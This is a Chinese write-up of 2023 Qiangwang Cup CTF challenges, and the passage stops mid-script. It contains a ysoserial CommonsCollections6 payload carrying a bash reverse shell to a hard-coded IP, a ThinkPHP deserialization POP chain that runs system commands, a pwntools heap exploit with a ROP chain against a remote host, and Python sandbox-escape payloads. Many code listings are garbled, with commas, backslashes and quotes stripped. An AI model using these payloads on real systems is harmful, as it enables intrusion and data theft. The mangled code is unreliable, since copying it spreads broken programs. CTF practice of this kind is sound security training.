2023年第七届强网杯全国网络安全挑战赛Writeup

admin 2023年12月19日11:21:44评论140 views字数 40570阅读135分14秒阅读模式

Web

happygame

基于HTTP/2 协议的grpc

参考:https://xiazemin.github.io/golang/2019/12/02/http2.html

2023年第七届强网杯全国网络安全挑战赛Writeup

返回 HTTP/2 提示协议,进行查阅发现是有一个协议 grpc

这里需要用到一个工具进行连接:

链接如下:

https://github.com/fullstorydev/grpcui/releases/tag/v1.3.3

下载工具,执行如下命令

grpcui -plaintext IP:port
2023年第七届强网杯全国网络安全挑战赛Writeup

链接打开网站,这里需要做一个请求

进一步分析,寻找漏洞点,这里经过长时间的测试。发现是存在CC6漏洞的
2023年第七届强网杯全国网络安全挑战赛Writeup

利用 ysoserial.jar工具生成 exp,这里编写exp也可以

java -jar ysoserial.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMjI5LjE1OC40MC8yNDAwIDA+JjE=}|{base64,-d}|{bash,-i}" | base64 | tr -d "n"
//rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AGFiYXNoIC1jIHtlY2hvLFltRnphQ0F0YVNBK0ppQXZaR1YyTDNSamNDOHhNVEV1TWpJNUxqRTFPQzQwTUM4eU5EQXdJREErSmpFPX18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9dAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=
2023年第七届强网杯全国网络安全挑战赛Writeup

发送 serializeData,进行传参

2023年第七届强网杯全国网络安全挑战赛Writeup

vps监听成功回弹获取flag

2023年第七届强网杯全国网络安全挑战赛Writeup

thinkshop

代码审计

找到一处漏洞代码处

update.php
    public function updatedata($data$table$id)
    {
        if (!$this->connect()) {
            die('Error');
        } else {
            $sql = "UPDATE $table SET ";
            foreach ($data as $key => $value) {
                $sql .= "`$key` = unhex('" . bin2hex($value) . "'), ";
            } // 测试字符拼接

            $sql = rtrim($sql', ') . " WHERE `id` = " . intval($id);
            return mysqli_query($this->connect(), $sql);


        }
    }

继续跟进,发现这里存在 serialize尝试分析,来到 Goods.php

    public function saveGoods($data)
    
{
        $data['data'] = base64_encode(serialize($this->markdownToArray($data['data'])));
        return $this->save($data);
    }

    public function save($data){
        $update = new Update();
        return $update->updatedata($data , 'goods' , $data['id']);
      //可传参date值
    }

    public function addGoods($data){
        $update = new Update();
        return $update->insertdata($data , 'goods' );
    }
    public function markdownToArray($markdown)  // 加了判断
    
{
        $lines = explode(PHP_EOL, $markdown);
        $result = [];
        $current1 = &$result;
        $current2 = null;
        $current3 = null;

        foreach ($lines as $line) {
            if (preg_match('/^# (.*)/', $line, $matches)) {
                $current1 = &$result[$matches[1]];
                $current2 = null;
                $current3 = null;
            } elseif (preg_match('/^## (.*)/', $line, $matches)) {
                $current2 = &$current1[$matches[1]];
                $current3 = null;
            } elseif (preg_match('/^### (.*)/', $line, $matches)) {
                $current3 = &$current2[$matches[1]];
            } else {
                if ($current3 !== null) {
                    $current3[] = $line;
                } elseif ($current2 !== null) {
                    $current2[] = $line;
                } elseif ($current1 !== null) {
                    $current1[] = $line;
                }
            }
        }
        return $result;
    }

访问  index/admin/login 进入登录口

2023年第七届强网杯全国网络安全挑战赛Writeup

测试发现 可通过用户名 1 密码 123456 登陆成功

提示信息:文件夹中的 shop.sql

2023年第七届强网杯全国网络安全挑战赛Writeup

登陆后抓包进行分析 参数点,定位到 data传参

2023年第七届强网杯全国网络安全挑战赛Writeup
2023年第七届强网杯全国网络安全挑战赛Writeup

这题没写完,跑去打楚慧杯了。

赛后思路,可通过闭合注入点打一个tp漏洞,可用phpggc

2023年第七届强网杯全国网络安全挑战赛Writeup

贴上exp

<?php
namespace thinkprocesspipes{
    use thinkmodelPivot;
    ini_set('display_errors',1);
    class Windows{
        private $files = [];
        public function __construct($function,$parameter)
        
{
            $this->files = [new Pivot($function,$parameter)];
        }
    }
    $aaa = new Windows('system','tac /f*');
    echo base64_encode(serialize($aaa));
}
namespace think{
    abstract class Model
    {}
}
namespace thinkmodel{
    use thinkModel;
    use thinkconsoleOutput;
    class Pivot extends Model
    
{
        protected $append = [];
        protected $error;
        public $parent;
        public function __construct($function,$parameter)
        
{
            $this->append['jelly'] = 'getError';
            $this->error = new relationBelongsTo($function,$parameter);
            $this->parent = new Output($function,$parameter);
        }
    }
    abstract class Relation
    
{}
}
namespace thinkmodelrelation{
    use thinkdbQuery;
    use thinkmodelRelation;
    abstract class OneToOne extends Relation
    
{}
    class BelongsTo extends OneToOne
    
{
        protected $selfRelation;
        protected $query;
        protected $bindAttr = [];
        public function __construct($function,$parameter)
        
{
            $this->selfRelation = false;
            $this->query = new Query($function,$parameter);
            $this->bindAttr = [''];
        }
    }
}
namespace thinkdb{
    use thinkconsoleOutput;
    class Query
    
{
        protected $model;
        public function __construct($function,$parameter)
        
{
            $this->model = new Output($function,$parameter);
        }
    }
}
namespace thinkconsole{
    use thinksessiondriverMemcache;
    class Output
    
{
        protected $styles = [];
        private $handle;
        public function __construct($function,$parameter)
        
{
            $this->styles = ['getAttr'];
            $this->handle = new Memcache($function,$parameter);
        }
    }
}
namespace thinksessiondriver{
    use thinkcachedriverMemcached;
    class Memcache
    
{
        protected $handler = null;
        protected $config  = [
            'expire'       => '',
            'session_name' => '',
        ];
        public function __construct($function,$parameter)
        
{
            $this->handler = new Memcached($function,$parameter);
        }
    }
}
namespace thinkcachedriver{
    use thinkRequest;
    class Memcached
    
{
        protected $handler;
        protected $options = [];
        protected $tag;
        public function __construct($function,$parameter)
        
{
            // pop链中需要prefix存在,否则报错
            $this->options = ['prefix'   => 'jelly/'];
            $this->tag = true;
            $this->handler = new Request($function,$parameter);
        }
    }
}
namespace think{
    class Request
    {
        protected $get     = [];
        protected $filter;
        public function __construct($function,$parameter)
        
{
            $this->filter = $function;
            $this->get = ["jelly"=>$parameter];
        }
    }
}

PWN

warmup23

代码审计

2023年第七届强网杯全国网络安全挑战赛Writeup

菜单题

漏洞点在add的时候有off_by_null的漏洞

思路

我们通过large bin和fastbin等等来实现,unlink的检测,可以去看这位师傅的文章,就说调用模板,最后我们通过environ+IO_file泄露出来栈地址,然后把add函数返回地址修改,构造orw即可

exp

from pwn import*
context(arch='i386', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
#libc = ELF("../libc/")
libc = ELF("./libc.so.6")
"""""
def xxx():
    p.sendlineafter("")
    p.sendlineafter("")
    p.sendlineafter("")
"""


def get_p(name):
    global p,elf 
    # p = process(name,env={"LD_PRELOAD":"./libc.so.6"})
    p = remote("120.24.69.11",12700)
    elf = ELF(name)

def add(size,content="AA"):
    p.sendlineafter(">> ","1")
    p.sendlineafter("Size: ",str(size))
    p.sendafter("Note: ",content)

def show(idx):
    p.sendlineafter(">> ","2")
    p.sendlineafter("Index: ",str(idx))
def dele(idx):
    p.sendlineafter(">> ","3")
    p.sendlineafter("Index: ",str(idx))



def attck():
    get_p("./warmup")
    add(0xb440# 使fake chunk的倒数第二个字节为'x00',需要爆破,1/16成功率

    add(0x450)
    add(0x30)
    add(0x450)
    add(0x450)
    add(0x4f0)
    add(0x450)
    add(0x80)

    dele(1)
    dele(4)
    dele(6)

    dele(3)

    fake_size = 0x461
    add(0x470b'a' * 0x450 + p64(0) + p16(fake_size))
    add(0x430)

    add(0x450)
    add(0x450)

    dele(6)
    dele(3)

    add(0x450'a' * 8)
    add(0x430)

    dele(4)
    dele(6)
    add(0x1000)
    add(0x450'x00')
    add(0x220,"AA")
    add(0x208,b"A"*0x200 + p64(0x460))

    # sleep(2)
    dele(5)
# gdb.attach(p,"")
# sleep(2)

# p.interactive()
while True:
    try:
        attck()
        add(0x18,"A")
        show(8)
        break
    except:
        p.close()

libc.address = u64(p.recvuntil("x7f")[-6:].ljust(0x8,b"x00")) - 0x219ce0
print(hex(libc.address))
environ= libc.sym['environ']
stdout = libc.sym['_IO_2_1_stdout_']

open = libc.sym['open']
write = libc.sym['write']
read = libc.sym['read']
pop_rdx_r12 = 0x000000000011f0f7 + libc.address
pop_rdi = 0x000000000002a3e5 + libc.address
pop_rsi = 0x000000000002be51 + libc.address
pop_rax = 0x0000000000045eb0 + libc.address
syscall = 0x0000000000091335 + libc.address

add(0x210,"AA")
add(0x900,"AA")
show(9)
p.recvuntil("Note: ")
heap_base = u64(p.recvline()[:-1].ljust(0x8,b"x00")) - 0xc240
add(0x210,p64(0)+p64(0x101))
add(0xf0)
dele(13)
dele(9)
dele(12)
add(0x210,p64(0)+p64(0x101)+p64(stdout ^ ((heap_base+0xc460)>>12)))

add(0xf0)
add(0xf0,p64(0xFBAD1800)+p64(0)*3+p64(environ)+p64(environ+8)[:6])

stack = u64(p.recvuntil("x7f")[-6:].ljust(0x8,b"x00")) - 0x178 + 0x30
print(hex(stack))

dele(9)
add(0x210,p64(0)+p64(0x110))
add(0x100)
dele(14)
dele(12)
dele(9)

add(0x210,p64(0)+p64(0x110)+p64(stack ^ ((0xc560+heap_base)>>12))+b"/flag")

payload = p64(0) + p64(pop_rax) + p64(2) + p64(pop_rdi) + p64(heap_base+0xc240+0x20) + p64(pop_rsi) + p64(0) + p64(pop_rdx_r12) + p64(0)*2 + p64(syscall)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base+0x300) + p64(pop_rdx_r12) + p64(0x40) + p64(0) + p64(read)
payload += p64(pop_rdi) + p64(1)  + p64(write)

add(0x100,"/flag")
# gdb.attach(p,"b *$rebase(0x00000189A)")
# sleep(2)
add(0x100,payload)


p.interactive()

MISC

签到

简单签个到
题目内容:flag{welcome_to_qwb_2023}

Pyjail ! It's myFILTER !!!

pyjail沙盒绕过
2023年第七届强网杯全国网络安全挑战赛Writeup

简单沙盒,如下payload绕过

{print(open("/proc/self/environ").read())}
2023年第七届强网杯全国网络安全挑战赛Writeup

Pyjail ! It's myRevenge !!!

难顶的沙盒` `pyjail

题目提供地址,利用nc进行连接

源码如下

import code, os, subprocess
import pty
def blacklist_fun_callback(*args):
    print("Player! It's already banned!")

pty.spawn = blacklist_fun_callback
os.system = blacklist_fun_callback
os.popen = blacklist_fun_callback
subprocess.Popen = blacklist_fun_callback
subprocess.call = blacklist_fun_callback
code.interact = blacklist_fun_callback
code.compile_command = blacklist_fun_callback

vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec = blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback
breakpoint = blacklist_fun_callback

del os, subprocess, code, pty, blacklist_fun_callback
input_code = input("Can u input your code to escape > ")

blacklist_words_var_name_fake_in_local_real_in_remote = [
    "subprocess",
    "os",
    "code",
    "interact",
    "pty",
    "pdb",
    "platform",
    "importlib",
    "timeit",
    "imp",
    "commands",
    "popen",
    "load_module",
    "spawn",
    "system",
    "/bin/sh",
    "/bin/bash",
    "flag",
    "eval",
    "exec",
    "compile",
    "input",
    "vars",
    "attr",
    "dir",
    "getattr"
    "__import__",
    "__builtins__",
    "__getattribute__",
    "__class__",
    "__base__",
    "__subclasses__",
    "__getitem__",
    "__self__",
    "__globals__",
    "__init__",
    "__name__",
    "__dict__",
    "._module",
    "builtins",
    "breakpoint",
    "import",
]

def my_filter(input_code):
    for x in blacklist_words_var_name_fake_in_local_real_in_remote:
        if x in input_code:
            return False
    return True

while '{' in input_code and '}' in input_code and input_code.isascii() and my_filter(input_code) and "eval" not in input_code and len(input_code) < 65:
    input_code = eval(f"f'{input_code}'")
else:
    print("Player! Please obey the filter rules which I set!")

说一下尝试思路,进行审计源码,大致分析

2023年第七届强网杯全国网络安全挑战赛Writeup

需要绕过函数,尝试了很久的 写入 write操作,代码如下

from pwn import *

# eval((chr(111)+chr(115)+chr(46)+chr(110)+chr(97)+chr(109)+chr(101)))
# print(os.name)
# eval(chr(111)+chr(115)+chr(46)+chr(110)+chr(97)+chr(109)+chr(101))
# eval('{}'.format(chr(111)+chr(115)+chr(46)+chr(110)+chr(97)+chr(109)+chr(101)))
# eval(open('1.txt','w').write(f'{o""s.listdir()}'))
# eval(print(open('1','r').read()))
# for x in '1.txt':
#     # print(x)
#     print('chr('+str(ord(x))+')'+'+',end='')
# eval(open('1','w').write(f"{}"))
# del os
# print(eval(open('1.txt').read()))
# (eval(open('1.txt').read()))
code = "eval("__i""mp""ort__('o""s').__getat""tribute__('syste''m')('ls')")"
input_code = eval(f"f'{code}'")
# print(input_code)
#
# eval(open('1.txt','w').write(f'{os.listdir()}'))
# eval(chr(111)+chr(115)+chr(46)+chr(108)+chr(105)+chr(115)+chr(116)+chr(100)+chr(105)+chr(114)+chr(40)+chr(41))
eval(open(chr(49),chr(97)).write())
# ccc = "__import__('glob').glob('*')"
ccc = open('1.txt').read()
for i in range(len(ccc)):
# #     # x = {open(chr(51), chr(97)).write(chr(105) + chr(109))}
# #     # print("{open(chr(53), chr(97)).write("+'chr(' + str(ord(xxx[i*2])) + ')' + '+'+'chr(' + str(ord(xxx[i*2+1])) + ')' +')}')
    # xxx = "{open(chr(68),chr(97)).write(" + "chr(" + str(ord(ccc[i * 2])) + ")" + '+' + "chr" + "(" + str(ord(ccc[i *2+1])) + ")" + ')'+"}"
    xxx = "{open(chr(80),chr(97)).write(" + "chr(" + str(ord(ccc[i])) + ")" + ')' + "}"
    print(xxx)
    p = remote("8.147.133.72"18412)
    p.sendlineafter("Can u input your code to escape >", xxx)
    sleep(0.2)
    p.close()

经过测试,发现是可以成功写入文件,但并无法执行。

继续分析,进行列出本地 全局作用域的值,得到列表倒数第二个函数是 breakpoint,这里是可以采取 交互式调试,我们尝试劫持这个函数

2023年第七届强网杯全国网络安全挑战赛Writeup

思路:将 breakpoint函数进行清除重调用,这里需要 bypass sandbox, 可利用 in""put函数重新键入

payload如下
{(a:=list(globals().values()),a[-2].clear(),"{inp""ut()}")[2]}
{globals()["__bu"+"iltins__"].breakpoint()}
2023年第七届强网杯全国网络安全挑战赛Writeup

然后进行读取当前目录问及那

#方法一:
import os
os.listdir("/"## 读取根目录
os.listdir("/home/ctf"#读取当前目录,找到flag位置(动态生成)

#方法二:
import glob
glob.glob("f*")

## 最终读取flag文件即可,构造payload如下
{print(open("flag_AFA5C6996A51040344BF10B1CE2EC9981FB4DFA6E4A51A6D66B4AA3EEBF53947").read())}
2023年第七届强网杯全国网络安全挑战赛Writeup

easyfuzz

提示fuzz测试,经过操作

2023年第七届强网杯全国网络安全挑战赛Writeup

传参:qiqwbGood 即可获取flag

2023年第七届强网杯全国网络安全挑战赛Writeup

REVERSE

ezre

拿到附件,ELF 64位程序,存在OLLVM平坦流

2023年第七届强网杯全国网络安全挑战赛Writeup

拖入IDA,打开main函数就看到了平坦流

2023年第七届强网杯全国网络安全挑战赛Writeup

使用IDA插件,云去混淆,试了很多方法,只有这个方法能去。

2023年第七届强网杯全国网络安全挑战赛Writeup

去除完后看到程序逻辑

2023年第七届强网杯全国网络安全挑战赛Writeup

整理如下,发现main函数调用sub_3170,这是里面只有一个假flag

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char buf[112]; // [rsp+60h] [rbp-80h] BYREF
  unsigned __int64 v6; // [rsp+D0h] [rbp-10h]

  v6 = __readfsqword(0x28u);
  read(0, buf, 0x64uLL);
  if ( sub_3170(buf) )
  {
    write(1, aOk, 4uLL);
  }
  else
  {
    while ( 1 )
    {
      write(1, aNo, 4uLL);
      break;
    }
  }
  return 0LL;
}
2023年第七届强网杯全国网络安全挑战赛Writeup

那就看调用main函数前程序做了什么,找到init_array,发现还调用了sub_5150函数

2023年第七届强网杯全国网络安全挑战赛Writeup

该函数开启了子进程调用sub_39F0

2023年第七届强网杯全国网络安全挑战赛Writeup

sub_39F0又是一个OLLVM,继续去混淆,手动整理代码

2023年第七届强网杯全国网络安全挑战赛Writeup
unsigned __int64 __fastcall sub_39F0(unsigned int a1)
{
  void *ptr; // [rsp+1C8h] [rbp-128h]
  int v3; // [rsp+1D8h] [rbp-118h]
  int v4; // [rsp+1DCh] [rbp-114h]
  int v5; // [rsp+1E0h] [rbp-110h]
  int v6; // [rsp+1E4h] [rbp-10Ch]
  __int64 v7; // [rsp+1E8h] [rbp-108h]
  __WAIT_STATUS stat_loc; // [rsp+204h] [rbp-ECh] BYREF
  char *v9; // [rsp+270h] [rbp-80h]
  __int64 v10; // [rsp+278h] [rbp-78h]
  __int64 (__fastcall *v11)(); // [rsp+288h] [rbp-68h]
  unsigned __int64 v12; // [rsp+2E0h] [rbp-10h]

  v12 = __readfsqword(0x28u);
  v5 = 0;
  v4 = 0;
  v3 = 0;
  while ( 1 )
  {
    wait((__WAIT_STATUS)&stat_loc);
  if ( ((__int64)stat_loc.__uptr & 0x7F) != 0 )
  {
    if ( ptrace(PTRACE_POKEDATA, a1, sub_3170, 2831LL) == -1 )
    {
      exit(0);
    }
    ptrace(PTRACE_SYSCALL, a1, 0LL);
    while ( 1 )
    {
      wait((__WAIT_STATUS)&stat_loc);
      if ( ((__int64)stat_loc.__uptr & 0x7F) == 0 )
      {
        break;
      }
      if ( ((__int64)stat_loc.__uptr & 0xFF00) >> 8 == 5 )
      {
        v7 = ptrace(PTRACE_PEEKUSER, a1, 120LL, 0LL);
        if ( v7 == 1 )
        {
          if ( v4 )
          {
            v4 = 0;
          }
          else
          {
            v4 = 1;
            ptrace(PTRACE_GETREGS, a1, 0LL, (char *)&stat_loc.__iptr + 4);
            if ( v6 )
              v9 = aOk;
            else
              v9 = aNo;
            ptrace(PTRACE_SETREGS, a1, 0LL, (char *)&stat_loc.__iptr + 4);
          }
        }
        if ( !v7 )
        {
          if ( v5 )
          {
            v5 = 0;
          }
          else
          {
            v5 = 1;
            ptrace(PTRACE_GETREGS, a1, 0LL, (char *)&stat_loc.__iptr + 4);
          }
        }
        if ( v7 == 59 )
        {
          if ( v3 )
          {
            v3 = 0;
          }
          else
          {
            v3 = 1;
            ptrace(PTRACE_GETREGS, a1, 0LL, (char *)&stat_loc.__iptr + 4);
            ptr = malloc(0x1DuLL);
            sub_3270(a1, v10, (__int64)ptr, 29);
            v6 = ((__int64 (__fastcall *)(void *, __int64))sub_3580)(ptr, 29LL);
            free(ptr);
          }
        }
      }
      if ( ((__int64)stat_loc.__uptr & 0xFF00) >> 8 == 4 )
      {
        ptrace(PTRACE_GETREGS, a1, 0LL, (char *)&stat_loc.__iptr + 4);
        v11 = sub_31E0;
        ptrace(PTRACE_SETREGS, a1, 0LL, (char *)&stat_loc.__iptr + 4);
      }
      if ( ((__int64)stat_loc.__uptr & 0xFF00) >> 8 == 11 )
      {
        while ( 1 )
        {
          ptrace(PTRACE_GETREGS, a1, 0LL, (char *)&stat_loc.__iptr + 4);
          getchar();
          break;
      }
      ptrace(PTRACE_SYSCALL, a1, 0LL);
  }

函数存在ptrace反调试,我们需要知道的是他调用了哪些函数,一共有三个,只有sub_3580函数是有用的,接着往下看,这个函数一样有OLLVM

整理如下:

__int64 __fastcall sub_3580(const char *a1)
{
  _BOOL4 v1; // esi
  unsigned __int8 v2; // al
  size_t v4; // [rsp+38h] [rbp-C8h]
  int i; // [rsp+60h] [rbp-A0h]
  int v6; // [rsp+68h] [rbp-98h]
  unsigned int v7; // [rsp+7Ch] [rbp-84h]
  __int64 v8[4]; // [rsp+80h] [rbp-80h]
  __int64 v9[2]; // [rsp+A0h] [rbp-60h] BYREF
  char s[64]; // [rsp+B0h] [rbp-50h] BYREF
  unsigned __int64 v11; // [rsp+F0h] [rbp-10h]

  v11 = __readfsqword(0x28u);
  memset(s, 00x32uLL);
  v9[0] = 0xEFCDAB8967452301LL;
  v9[1] = 0xEFCDAB8967452301LL;
  v8[0] = 0x7C88631647197506LL;
  v8[1] = 0x4A0D7D3FFF55668BLL;
  v8[2] = 0xDEC2E93F384ED2F5LL;
  v8[3] = 0x3C1FB1746F7F7CDBLL;
  v6 = 1;
  v4 = strlen(a1);
  v1 = 1;
  v2 = strlen(a1);
  sub_2220(v2, v9, a1, s);
  for ( i = 0; i < strlen(a1); ++i )
  {
    if ( v8[i] == s[i] )
    {
      v6 = 1;
      break;
    }
  }
}

找到一处对比,那么sub_2220函数就很像加密函数,去混淆手动整理

unsigned __int64 __fastcall sub_2220(unsigned __int8 a1, __int64 a2, __int64 a3, __int64 a4)
{
  __int64 v5; // [rsp+8h] [rbp-398h]
  __int64 v6; // [rsp+28h] [rbp-378h]
  _BYTE *ptr; // [rsp+100h] [rbp-2A0h]
  int v8; // [rsp+108h] [rbp-298h]
  int i; // [rsp+10Ch] [rbp-294h]
  int j; // [rsp+10Ch] [rbp-294h]
  int v11; // [rsp+10Ch] [rbp-294h]
  int v12; // [rsp+10Ch] [rbp-294h]
  __int64 v15[32]; // [rsp+130h] [rbp-270h] BYREF
  __int64 v16; // [rsp+230h] [rbp-170h]
  __int64 v17; // [rsp+238h] [rbp-168h]
  __int64 v18; // [rsp+240h] [rbp-160h]
  __int64 v19; // [rsp+248h] [rbp-158h]
  __int64 v20[36]; // [rsp+250h] [rbp-150h] BYREF
  __int64 s; // [rsp+370h] [rbp-30h] BYREF
  __int64 v22; // [rsp+378h] [rbp-28h] BYREF
  __int64 v23; // [rsp+380h] [rbp-20h] BYREF
  __int64 v24; // [rsp+388h] [rbp-18h] BYREF
  unsigned __int64 v25; // [rsp+398h] [rbp-8h]

  v25 = __readfsqword(0x28u);
  ptr = malloc(0x32uLL);
  memset(&s, 00x20uLL);
  memset(v20, 0sizeof(v20));
  memset(v15, 00x120uLL);
  au_re____stack_chk_fail(a2, &s);
  au_re____stack_chk_fail(a2 + 4, &v22);
  au_re____stack_chk_fail(a2 + 8, &v23);
  au_re____stack_chk_fail(a2 + 12, &v24);
  v20[0] = s ^ 0xA3B1BAC6LL;
  v20[1] = v22 ^ 0x56AA3350;
  v20[2] = v23 ^ 0x677D9197;
  v20[3] = v24 ^ 0xB27022DCLL;
  for ( i = 0; i < 32; ++i )
  {
    v6 = v20[i];
    v20[i + 4] = sub_16F0(qword_6030[i] ^ v20[i + 3] ^ v20[i + 2] ^ v20[i + 1]) ^ v6;
  }
  do
    v11 = 0;
  while ( v11 < a1 )
  {
    ptr[v11] = *(_BYTE *)(a3 + v11);
    v11++;
  }
  for ( j = 0; ; ++j )
  {
    if ( j >= 16 - a1 % 16 )
      break;
    ptr[a1 + j] = 0;
  }
  v8 = 0;
LABEL_26:
  if ( v8 < (a1 % 16 != 0) + a1 / 16 )
  {
    au_re____stack_chk_fail(&ptr[16 * v8], v15);
    au_re____stack_chk_fail(&ptr[16 * v8 + 4], &v15[1]);
    au_re____stack_chk_fail(&ptr[16 * v8 + 8], &v15[2]);
    au_re____stack_chk_fail(&ptr[16 * v8 + 12], &v15[3]);
    v12 = 0;
    while ( 1 )
    {
      if ( v12 >= 32 )
      {
        au_re____stack_chk_fail_0(v19, 16 * v8 + a4);
        au_re____stack_chk_fail_0(v18, 16 * v8 + a4 + 4);
        au_re____stack_chk_fail_0(v17, 16 * v8 + a4 + 8);
        au_re____stack_chk_fail_0(v16, 16 * v8++ + a4 + 12);
        goto LABEL_26;
      }
      v5 = v15[v12];
      v15[v12 + 4] = sub_1BC0(v20[v12 + 4] ^ v15[v12 + 3] ^ v15[v12 + 2] ^ v15[v12 + 1]) ^ v5;
      ++v12;
    }
  }
  free(ptr);
  return v25;
}

发现SM4算法特征码0xA3B1BAC6,直接套脚本

SboxTable = [ # S盒
        0xd60x900xe90xfe0xcc0xe10x3d0xb70x160xb60x140xc20x280xfb0x2c0x05,
        0x2b0x670x9a0x760x2a0xbe0x040xc30xaa0x440x130x260x490x860x060x99,
        0x9c0x420x500xf40x910xef0x980x7a0x330x540x0b0x430xed0xcf0xac0x62,
        0xe40xb30x1c0xa90xc90x080xe80x950x800xdf0x940xfa0x750x8f0x3f0xa6,
        0x470x070xa70xfc0xf30x730x170xba0x830x590x3c0x190xe60x850x4f0xa8,
        0x680x6b0x810xb20x710x640xda0x8b0xf80xeb0x0f0x4b0x700x560x9d0x35,
        0x1e0x240x0e0x5e0x630x580xd10xa20x250x220x7c0x3b0x010x210x780x87,
        0xd40x000x460x570x9f0xd30x270x520x4c0x360x020xe70xa00xc40xc80x9e,
        0xea0xbf0x8a0xd20x400xc70x380xb50xa30xf70xf20xce0xf90x610x150xa1,
        0xe00xae0x5d0xa40x9b0x340x1a0x550xad0x930x320x300xf50x8c0xb10xe3,
        0x1d0xf60xe20x2e0x820x660xca0x600xc00x290x230xab0x0d0x530x4e0x6f,
        0xd50xdb0x370x450xde0xfd0x8e0x2f0x030xff0x6a0x720x6d0x6c0x5b0x51,
        0x8d0x1b0xaf0x920xbb0xdd0xbc0x7f0x110xd90x5c0x410x1f0x100x5a0xd8,
        0x0a0xc10x310x880xa50xcd0x7b0xbd0x2d0x740xd00x120xb80xe50xb40xb0,
        0x890x690x970x4a0x0c0x960x770x7e0x650xb90xf10x090xc50x6e0xc60x84,
        0x180xf00x7d0xec0x3a0xdc0x4d0x200x790xee0x5f0x3e0xd70xcb0x390x48,
    ]
 
# 常数FK
FK = [0xa3b1bac60x56aa33500x677d91970xb27022dc];
ENCRYPT = 0;
DECRYPT = 1
 
# 固定参数CK
CK = [
        0x00070e150x1c232a310x383f464d0x545b6269,
        0x70777e850x8c939aa10xa8afb6bd0xc4cbd2d9,
        0xe0e7eef50xfc030a110x181f262d0x343b4249,
        0x50575e650x6c737a810x888f969d0xa4abb2b9,
        0xc0c7ced50xdce3eaf10xf8ff060d0x141b2229,
        0x30373e450x4c535a610x686f767d0x848b9299,
        0xa0a7aeb50xbcc3cad10xd8dfe6ed0xf4fb0209,
        0x10171e250x2c333a410x484f565d0x646b7279
    ]
 
def padding(data):  # 填充
    print("plaintext:t", bytes(data))
    file_data_list = list(data)
    lenth = len(file_data_list)
    # print ("data lenth:", lenth)
    remainder = lenth % 16
    if remainder != 0:
        i = 16 - remainder  # i为需要填充的位数
        # print ("padding numbers = ", i)
        for j in range(i):
            file_data_list.append(i)  # 填充 char 0-(i-1)
    #if remainder == 0:
        #for k in range(16):
            #file_data_list.append(0x08)  # 刚好的话 填充0x08
    print("after PKCS5 padding:", file_data_list)
    return file_data_list
 
def list_4_8_to_int32(key_data):  # 列表4个8位,组成32位
    return int((key_data[0] << 24) | (key_data[1] << 16) | (key_data[2] << 8) | (key_data[3]))
 
def n32_to_list4_8(n):  # 把n分别取32位的每8位放入列表
    return [int((n >> 24) & 0xff), int((n >> 16) & 0xff), int((n >> 8) & 0xff), int((n) & 0xff)]
 
# 循环左移
def shift_left_n(x, n):
    return int(int(x << n) & 0xffffffff)
 
def shift_logical_left(x, n):
